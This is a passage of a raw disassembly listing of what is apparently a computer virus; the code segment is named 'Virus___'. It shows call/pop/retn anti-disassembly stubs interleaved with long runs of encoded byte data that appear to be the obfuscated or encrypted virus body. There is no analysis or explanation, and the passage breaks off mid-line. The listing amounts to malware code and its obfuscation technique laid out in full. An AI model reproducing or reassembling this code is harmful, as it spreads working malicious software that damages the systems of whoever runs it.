--------------------------------------------------------------------------- lea esi, [ebp+71EC2CBh] mov [ebp+71B1681h], ebx push 0 push 0 push esi call sub_57DFD1 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57DFD1 proc near ; CODE XREF: Virus___:0057DFC9p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_57DFD1 endp ; --------------------------------------------------------------------------- db 5Bh, 7Ah, 89h ; --------------------------------------------------------------------------- xchg eax, ebp or eax, 0FF071B2Ch xchg eax, ebp mov [edx], edx sbb eax, [edi] push 0 push ebx call sub_57DFFA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57DFFA proc near ; CODE XREF: Virus___:0057DFF2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_57DFFA endp ; --------------------------------------------------------------------------- mov eax, ds:829D9C85h imul esi, ds:844B9AFh, 0 add [edx+0], ch push ebx call sub_57E022 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57E022 proc near ; CODE XREF: Virus___:0057E01Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_57E022 endp ; --------------------------------------------------------------------------- retf 896Dh ; --------------------------------------------------------------------------- mov ebp, 71B3471h mov di, bx and ecx, 0FFFFFFFCh push 0 push ecx call sub_57E04B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57E04B proc near ; CODE XREF: Virus___:0057E043p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_57E04B endp ; --------------------------------------------------------------------------- db 92h dd 38D464E4h, 2840Fh, 31B30000h, 56006AFCh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 893046F3h dd 1B08C185h, 8D9D8B07h, 2B071B35h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0CC72E633h dd 8F0FB44Dh, 2, 0D22BFA8Bh, 0C233ADF8h, 0D003E8D1h, 7504E983h dd 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 72A17A3Eh, 0F8C9BBCDh, 880Dh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 31D20030h, 16DB80A7h, 29B5958Bh, 6A071Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0B7EEE8C3h dd 559D8B02h, 8B071B23h, 1B02F58Dh, 6E807h, 0AA030000h dd 4EF5CE62h, 12019D29h, 505F071Bh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0E1BD3358h, 8B071B30h, 1B23E5BDh dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 52B4FB7Bh, 1DB5296Fh, 83071B23h, 1B2165BDh dd 840F0007h, 6Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0AAC35747h, 6673ADCEh, 0F6650BBh, 18Dh dd 0B8F500h, 8B000000h, 1B2439BDh, 898D8D07h, 6A071B4Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 53DBC351h, 7290D177h, 28E0Fh, 0FB8B0000h dd 0E7BFE1FFh, 8372BCF3h, 1B18CDBDh, 840F0007h, 3EAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 16C35141h, 0CDBD8343h dd 1071B18h, 3DB840Fh, 3DBF0000h, 8363AD23h, 1B18CDBDh dd 860F0307h, 393h, 14A19D8Bh, 8B60071Bh, 31C381F8h, 6646B916h dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 9C916C3h, 1B35F9BDh, 4E18007h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E2C35646h, 8B0B3B56h dd 0E9626808h, 6, 83CF7711h, 0C90AFE99h, 10B840Fh, 0B5890000h dd 71B05D5h, 30E5858Bh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 8533A4C3h, 71B3055h dd 15219D29h, 9D8B071Bh, 71B2E91h, 8B665090h, 8B6090FBh dd 1B30BD85h, 31958907h, 61071B09h, 4768006Ah, 0F7FCE1Bh dd 48Bh, 0FABB6600h, 243481FCh, 7FD118B8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 64C35040h, 9E4910B7h dd 858B605Ch, 71B22D5h, 0E995FF61h, 0F071B04h, 1287h, 0DE900h dd 0A1510000h, 5841E9Fh, 73223E50h, 667390D8h, 3B40C381h dd 0ABC88589h, 6A071Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 4BFE85C3h, 1A3CB9F5h, 1B5E96Ch dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0E7BBF3C3h, 7A36679Ch, 897A1469h, 1B17918Dh dd 0C0858B07h, 6A071EABh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0F427C353h, 0A5CF71BBh dd 11E921h, 41B20000h, 6A9B441Dh, 0A652B552h, 0D355F054h dd 0C7A8A69Eh, 1800h, 25958900h, 8B071B2Ah, 1EABC4B5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0AF6B1A0h, 149858Bh, 8960071Bh, 1B1139B5h dd 8961F807h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8B50C8E9h, 1B30E585h, 0E19D8907h dd 89071B15h, 0B5310446h, 71B2E61h, 0E9525050h, 7, 4432DF36h dd 0FC62406h, 0DE831h, 82920000h, 79D8721Ah, 0EACB4E61h dd 0E897B771h, 0Fh, 0E9D4E3D2h, 457B50C8h, 0B4BAC275h dd 5F2D78F3h, 89585A5Bh, 6E92434h, 50000000h, 535B422Ah dd 3FD781F7h, 0FF65E12Bh, 1EABC0B5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D892935h dd 71B3309h, 68FE8B66h, 4754B64h, 4F6DBF66h, 9B243481h dd 89046A48h, 1B23AD95h, 0C8858D07h, 0B3071EABh, 60605003h dd 6E8h, 5A887400h, 5B2B6887h, 12E9h, 0C9F5DB00h, 0F1570E5Ah dd 0D8A4FF44h, 9C172B6Bh, 611558B7h, 8961F08Ah, 8D892404h dd 71B2289h, 4E995FFh, 8166071Bh, 61B62EF7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C7C35343h, 14E8C8h dd 79590000h, 91FAF9B0h, 0D224874h, 605A03A1h, 8E613933h dd 8E9A322h, 75000000h, 0F1E1F080h, 5F30CF2Eh, 18CD85C7h dd 3071Bh, 39BB0000h, 83317889h, 1EABC8BDh, 840F0007h dd 2Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h dd 0F3C35141h, 0E9A7B3A7h, 26h, 2EBDBD8Bh, 53BF071Bh, 5073665Dh dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 141D91C3h, 6608290Eh, 7AE8CF81h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B2C35646h, 0D51D58EFh dd 0C12CECAFh, 545BD8Bh, 0BD83071Bh, 71B18CDh, 36850F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0EA4CC356h, 3D580F6Ch, 0D4C8CD01h dd 0ABC8BD83h, 0F00071Eh, 40484h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0A45EE647h dd 285BC109h, 0B5894444h, 71B2D25h, 0ABC8B5FFh, 6A071Eh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0E6C909C3h, 190201B8h, 0C381122Dh, 7A063616h, 9A595FFh dd 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0FCC3CC3h, 0B58BDEB7h, 71EABBCh, 32DD8589h dd 6C7071Bh, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 72C35343h, 957ACA06h, 50CF4EBDh, 0D5BBBF50h dd 34890A42h, 51BD2324h, 0FF071B27h, 1EABC8B5h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0CF239854h, 0F98B66DFh, 89CCDF80h, 1B2C49BDh, 6195FF07h dd 2B071B35h, 1B33A1BDh, 0BCB58B07h, 6A071EABh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8BB2C356h, 11858BFBh, 8A071B04h, 0C48689DEh, 0BB000000h dd 333858A2h, 29B5958Bh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 4EFD92C3h, 94028A0Fh dd 6840F97h, 89000000h, 1B26E98Dh, 4C28307h, 8D38166h dd 2050895Dh, 14BF6660h, 61C78BACh, 0BFF9858Dh dd 9D89071Eh, 71B32CDh, 0B88689h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0E1E286C3h dd 0BF6697F3h, 6AC9ABh, 0C3C5BF66h, 0ABC8B5FFh, 0FFF9071Eh dd 1B09DD95h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 60E5161Dh, 0BD8B94D4h, 71B3121h dd 3791BB96h, 96506DB1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 33C35141h, 0E930EB01h, 5EF95BCh, 2D799D8Bh dd 0F8B7071Bh, 0ABC8B5FFh, 830F071Eh, 6, 30AD9D8Bh, 95FF071Bh dd 71B0341h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 99C35141h, 55C34485h, 0B07DBEA4h, 2431BD83h, 0F00071Bh dd 6E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0CD22884Ch, 834B9CEBh, 318D8589h dd 0BF0F071Bh, 0B86096FFh, 480A2267h, 0FC0BB866h, 8B665061h dd 6A96D9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0D99C61C3h, 84A42B3Ah, 858B601Bh, 71B27D9h dd 1EE18589h, 0FF61071Bh, 1EABC8B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FF548Bh dd 71B18A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 2BC35646h, 0DFEB86F7h, 0FFA8C8D1h, 1EABC8B5h, 39E78107h dd 95EAC81h, 1B0E7185h, 3D95FF07h, 6A071B29h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 7E24C355h, 9D89F806h, 71B0D69h, 28F1BD83h, 0F02071Bh dd 5E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0E3569A99h, 0BAB3BD78h, 20519D8Bh dd 858B071Bh, 71B007Dh, 3880Fh, 8B660000h, 0C6DFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DC35141h, 97312284h dd 0C7A43C23h, 1B099185h, 7, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 88DAF21Fh dd 8BFF3770h, 1B26E9BDh, 0F364E907h, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 9CACB8C3h dd 0BBB2103Ah, 7D087ADAh, 6AC18Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0B34E19C3h, 94C68E1Dh dd 0DBBF0F4Bh, 8166F98Bh, 8D9E8DEBh, 1B125585h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0C30358B5h, 0DB2C7E8Ah, 15BD8BDAh, 90071B2Bh, 13E8h dd 737B7600h, 0C7BFC543h, 99A46EDCh, 0E58CA359h, 698F4CBEh dd 4830Fh, 0BF660000h, 505FE410h, 14E9h, 0A8541E00h, 70B744E9h dd 745CFFECh, 0F145EF55h, 74BD6BCAh, 6A90B4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 54C516C3h dd 3DBD8BA9h, 0E8071B2Ch, 8, 9B9510B3h, 3ACD0BA5h, 12E8h dd 50C9BB00h, 5DB57F32h, 5669A89h, 21E4A52Ah, 135906Ah dd 1B057D85h, 6A5B5B07h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 6A006AB7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 40CEC357h dd 0FF5F328h, 68Ch, 0D9BD8B00h, 66071B32h, 858DFE8Bh, 71F3BF7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h dd 244C2DDBh, 8312C6E4h, 0B70F05C0h, 48950DBh, 9850124h dd 6A071B04h, 0E7816600h, 0BD8BF4D9h, 71B1489h, 3360006Ah dd 1B1A79B5h, 0C1BD3307h, 61071B24h, 1EA995FFh, 8D09071Bh dd 71B2ECDh, 979C8D8Dh, 6A071Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0D1FF0CC3h, 3459BD8Bh dd 0BD83071Bh, 71B2105h, 86850F01h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0B5EBC357h, 1E34E871h, 8D9D8BB3h, 89071B2Bh, 1B32C5B5h dd 79BD0307h, 6A071B18h, 0DA00BB02h, 840F1C84h, 6, 0D419D89h dd 6050071Bh, 3255B866h, 5E616051h, 24048961h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A8C35646h, 9D7A02h dd 0EB816639h, 95FF2F49h, 71B09DDh, 148D15BBh, 0E76E97Fh dd 0E80000h, 5D000000h, 3C01ED81h, 0B529071Fh, 71B33F1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B7C35545h dd 2858DA7h, 6A071E92h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 33BFC356h, 87B0A7EEh dd 58BB6660h, 6124B118h, 11C58589h, 0E890071Bh, 8, 0CEC8C7BBh dd 0D5A3B0E3h, 505FA3B7h, 6A90F88Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FB1CC351h dd 35FF6467h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_57EE0F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EE0F proc near ; CODE XREF: Virus___:0057EE07p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_57EE0F endp ; --------------------------------------------------------------------------- aTccDcflDi db '±Ð}âæCÎdæf‹Ød‰%',0 align 10h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 12A3F7C3h, 8B6A4A8Ch, 8957A889h, 1B05658Dh dd 95895F07h, 71B1C09h, 264D85FFh, 6A071Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A0DC21C3h dd 81661BCCh, 6A6B36D7h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8AA96030h, 0A1B5FFD8h dd 6A071B05h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0D0CC356h, 0E2C7C5DBh, 0BD8B09D8h dd 71B0E3Dh, 2F4595FFh, 6DE9071Bh, 89000001h, 1B25D9BDh dd 31BD8B07h, 0B0071B2Ch, 81666000h, 3A8E6E3h, 1B0B6D9Dh dd 70E66107h, 2226BB66h, 0B70F71E4h, 0F613CFFh, 13F83h dd 858B6000h, 71B0145h, 0B60F61F8h, 0F98B66C8h, 6BAh, 7E900h dd 11DD0000h, 2A64126Bh, 14E96Eh, 7C080000h, 39C3C8A2h dd 147EC2D1h, 9921E551h, 0EFCA5D7Ch, 0C18B5720h, 0EE8h dd 994B6200h, 0FEE49C76h, 0DE99A394h, 0E821AC0Bh, 11h dd 0E1E465CDh, 0D2C6A41Dh, 0DDCB47h, 2BC1F979h, 12E905h dd 0CEE70000h, 5F3D36E0h, 0D9CCBE65h, 4DBAB54Ah, 485EA2C2h dd 0E8C15B5Fh, 4CECBF04h, 0F76626A2h, 0FE8B66E2h, 0DE9C82Bh dd 0A5000000h, 0AF18725Ah, 59977769h, 6E9E8BC1h, 0FE8D18Bh dd 1A000000h, 5BF13AAh, 1C197339h, 0B0024EA6h, 860F8DE8h dd 5, 8EEB8166h, 3E95F33h, 80000000h, 858B93D3h, 71B2619h dd 2CE541BFh, 7C08378h, 0C7F38166h, 0C0832Bh, 31C1B589h dd 0D03B071Bh, 1B830Fh, 0FEBB0000h, 0E97312E2h, 48h, 6810Fh dd 95310000h, 71B0345h, 0B9C38166h, 0A58D8BB5h, 51071B17h dd 4EF14FBFh, 0E1835F60h, 21840F01h, 0F000000h, 0C381D8BFh dd 295A17CBh, 17A5A583h, 89FE071Bh, 1B261995h, 919D8B07h dd 0E9071B24h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+71ECD42h] push 0 push ecx call sub_57F069 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F069 proc near ; CODE XREF: Virus___:0057F061p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_57F069 endp ; --------------------------------------------------------------------------- db 59h, 39h, 1Fh dd 668991E9h, 977A38Ah, 1B348D8Dh, 6A006A07h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0B632C352h, 513C5E6Eh, 9D0352BDh, 71B1789h, 128995FFh dd 8F0F071Bh, 6, 3ED9D8Bh, 57B9071Bh, 0F000008h, 0E183D8B7h dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0C8719546h, 0FC6649C8h, 9A7FDBBFh, 0B824h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0E1D366C3h, 9D8B3CF2h, 71B0429h, 2950D22Bh dd 1B0CE995h, 33AD5F07h, 3E8D1C2h, 4E983D0h, 8BF8F475h dd 1B33AD9Dh, 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 3159E76Eh, 2DC58501h, 880D071Bh dd 0F000000h, 958BFAB7h, 71B29B5h, 32B5B589h, 8D8B071Bh dd 71B02F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 71C35343h, 0FE8B6682h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0EE85818h, 0BA000000h, 72CA8E59h, 0CF78F528h dd 42F945Ah, 1CF7808Ah, 89BD8B5Bh, 83071B2Eh, 1B2165BDh dd 840F0007h, 9Ah, 1189BD8Bh, 0B8071Bh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0BB0AC355h, 0F656677Ch, 0B70F5751h, 898D8DFBh, 6A071B4Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 521EC353h, 23BD9D0Bh, 0E95B071Bh, 13h, 0D7AF8643h dd 20A487A6h, 0F69365F2h, 905406F4h, 0FFF1437Fh, 52006AE1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 9622F376h, 0F78166E2h, 0BD83087Ah, 71B18CDh, 0A8840F00h dd 0E9000003h, 0Ah, 4CD86FE9h, 57D0EB61h, 0BD8300D3h, 71B18CDh dd 0A7840F01h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 5F5BC353h, 0DA4E0E33h dd 83C547FCh, 1B18CDBDh, 860F0307h, 340h, 6A60FB8Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0B98FC351h, 0B39682F6h, 0D98C66AFh, 31A98D89h, 0E180071Bh dd 5DBD8B04h, 0A071B2Eh, 0E3840FC9h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0D100C350h, 79A60EBh, 2ABBA07Ah, 8B0604D0h, 1B30E585h dd 0E99BB307h, 7, 358133C8h, 333C47FDh, 1B305585h, 0E7816607h dd 0F504D40h, 28Bh, 89FB8B00h, 0B5892404h, 71B1499h, 8166006Ah dd 68577BDBh, 2779F4A7h, 58243481h, 6A2766F7h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0FA8FC355h, 58763D57h, 77F325BBh, 0E995FF61h, 66071B04h dd 89C232BFh, 1EABC885h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0FC04C927h, 791A93C9h dd 7E96033h, 0E5000000h, 0BDED6094h, 0BF0FAC56h, 0E9F561C6h dd 1A4h, 2F159D8Bh, 858B071Bh, 71EABC0h, 0A5C78166h, 0BE8AEh dd 0EAA20000h, 0BED1DDE2h, 7A65A380h, 8E986h, 1B010000h dd 59041403h, 0C75F3860h, 1800h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 3CBD633Fh dd 14699D03h, 0DB81071Bh, 12572Dh, 0ABC4B58Bh, 858B071Eh dd 71B0149h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0E6C35242h, 0E78E0C88h, 0C9B58939h, 89071B04h dd 9D9D0906h, 53071B18h, 0E5858B5Bh, 89071B30h, 1B2E898Dh dd 4468907h, 2365BD29h, 8950071Bh, 6A2434h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1229A8C3h dd 0DD428C2Ah, 0B5FF8071h, 71EABC0h, 68DEB70Fh, 4230170h dd 0DCE0BF66h, 8F243481h, 6A043C02h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 590DC355h dd 0BBBF0BBFh, 59DE4FCBh, 18C5BD8Bh, 858D071Bh, 71EABC8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h dd 150450CBh, 0FE99456h, 62000000h, 0E39E064Eh, 7F3979C0h dd 289BD2B2h, 8E95F84h, 1D000000h, 37BBA32Eh, 50A57660h dd 7E9h, 2060B100h, 1D987E5Eh, 66240489h, 95FFDA8Bh, 71B04E9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EFC35242h dd 0CA99BD9h, 0F9BF0F79h, 5E961h, 9D990000h, 0C7076D7Dh dd 1B18CD85h, 307h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0C327AE18h, 76D0E4CEh dd 0F9B70F56h, 0C8BD835Bh, 71EABh, 36840Fh, 8E0F0000h dd 1, 45E9FCh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 684FF4C3h, 1F0B5F23h, 0BB562C8Bh dd 1E3E8E00h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 31D1C352h, 41353DE4h, 0DBD8B3Eh dd 83071B17h, 1B18CDBDh, 850F0307h, 4FBh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 10C35141h, 0EADF9E0Ah dd 66F88B66h, 46AAEF81h, 0BE9h, 0F848FA00h, 0A2D0B01Ah dd 69CC6ED4h, 0ABC8BD83h, 0F00071Eh, 4B684h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 94803960h, 0C8B5FF9Dh, 6A071EABh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F16C353h dd 6FFEC162h, 13E960h, 0E2440000h, 4B9F34A7h, 0CCE76BC4h dd 50258030h, 0AC32771Eh, 0C0BF0FDEh, 0A595FF61h, 0E9071B09h dd 10h, 1176C428h, 0CD433B4Eh, 640AD6E2h, 0A2FAE0A2h, 0ABBCB58Bh dd 6A071Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 600CFAC3h, 106C7h, 6A0001h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0DCC150C3h dd 13E8h, 0E87E2E00h, 9B81A15Bh, 0E007C0F1h, 8A204CE9h dd 7C59F85Dh, 2C0D9D8Bh, 505B071Bh, 34897BB7h, 0B9666024h dd 0CE8A5D6h, 68000000h, 0B4DB16DBh, 9ED5E272h, 8B8D94B0h dd 1B2C51B5h, 0FF615807h, 1EABC8B5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9AD018CDh dd 0C5BD2356h, 5F071B20h, 356195FFh, 9D8B071Bh, 71B35E1h dd 1635B589h, 0B58B071Bh, 71EABBCh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 23C35343h, 4995EE71h, 870F6BE9h dd 9, 3870Fh, 0EB800000h, 95BD89BCh, 8B071B05h, 1B041185h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 1417730Fh, 600D7BD8h, 0DE824ACh dd 0D6000000h, 0E33DB2C0h, 0E0C76369h, 68B3ABA9h, 9E9h dd 8F7E3F00h, 6E87006Bh, 895F9B1Dh, 0C486h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 528D22C8h, 9946EA2Eh, 958B005Bh, 71B29B5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 90C35747h, 7C5E2E5Eh dd 563147B8h, 0DBF7BF66h, 4C2835Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0ADC35646h, 0C78166D8h, 50899F22h dd 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 762D75FEh, 0BBB57C8h, 9D8B3B0Bh, 71B2B55h dd 0BFF9858Dh, 7E9071Eh, 1E000000h, 0C869A611h, 8689AAD0h dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0A1C35242h, 0EE8h, 9E8BC100h, 83B2B66Eh, 0CEE89B92h dd 0E8BDB643h, 10h, 0B009D5FFh, 0C5AA3CE9h, 0CF24D5B0h dd 7EA1CE56h, 6A5F5Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0D8C35242h, 6AC1D60Bh, 0D9CE5E30h, 8D296060h dd 71B0101h, 3545B58Bh, 3161071Bh, 1B296195h, 0BF0F6107h dd 0C8B5FFD9h, 0E9071EABh, 14h, 88F054Dh, 98859DCh, 7FF140CDh dd 0C50A113Ah, 84E8A1D0h, 9DD95FFh, 9589071Bh, 71B31A5h dd 24348950h, 33098D29h, 0B5FF071Bh, 71EABC8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 27C35242h, 95899DF3h dd 71B26ADh, 34195FFh, 0BD83071Bh, 71B2431h, 4A840F00h dd 29000000h, 1B144DB5h, 0D6BB9607h, 505E0A8Eh, 96FA8B66h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3BC35545h dd 0E8144334h, 0Eh, 4E03F535h, 0D707FD75h, 242C214Eh, 9D8B32C4h dd 71B30C5h, 0C8B5FF5Bh, 6A071EABh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5898C355h dd 0CA6533CCh, 18A595FFh, 10E8071Bh, 0E5000000h, 3A8CE2B3h dd 0ACFBD360h, 0DBA24171h, 81B88320h, 158AAECFh, 0EE95F3Eh dd 0F5000000h, 5FFFE5EFh, 15EFA5B7h, 7254988Fh, 0C8B5FF42h dd 9071EABh, 1B0A05BDh, 3D95FF07h, 8B071B29h, 1B26FD9Dh dd 0C5958907h, 83071B00h, 1B28F1BDh, 840F0207h, 3Bh, 8683FBBFh dd 27BF6600h, 7D858BB1h, 6A071B00h, 3E85100h, 20000000h dd 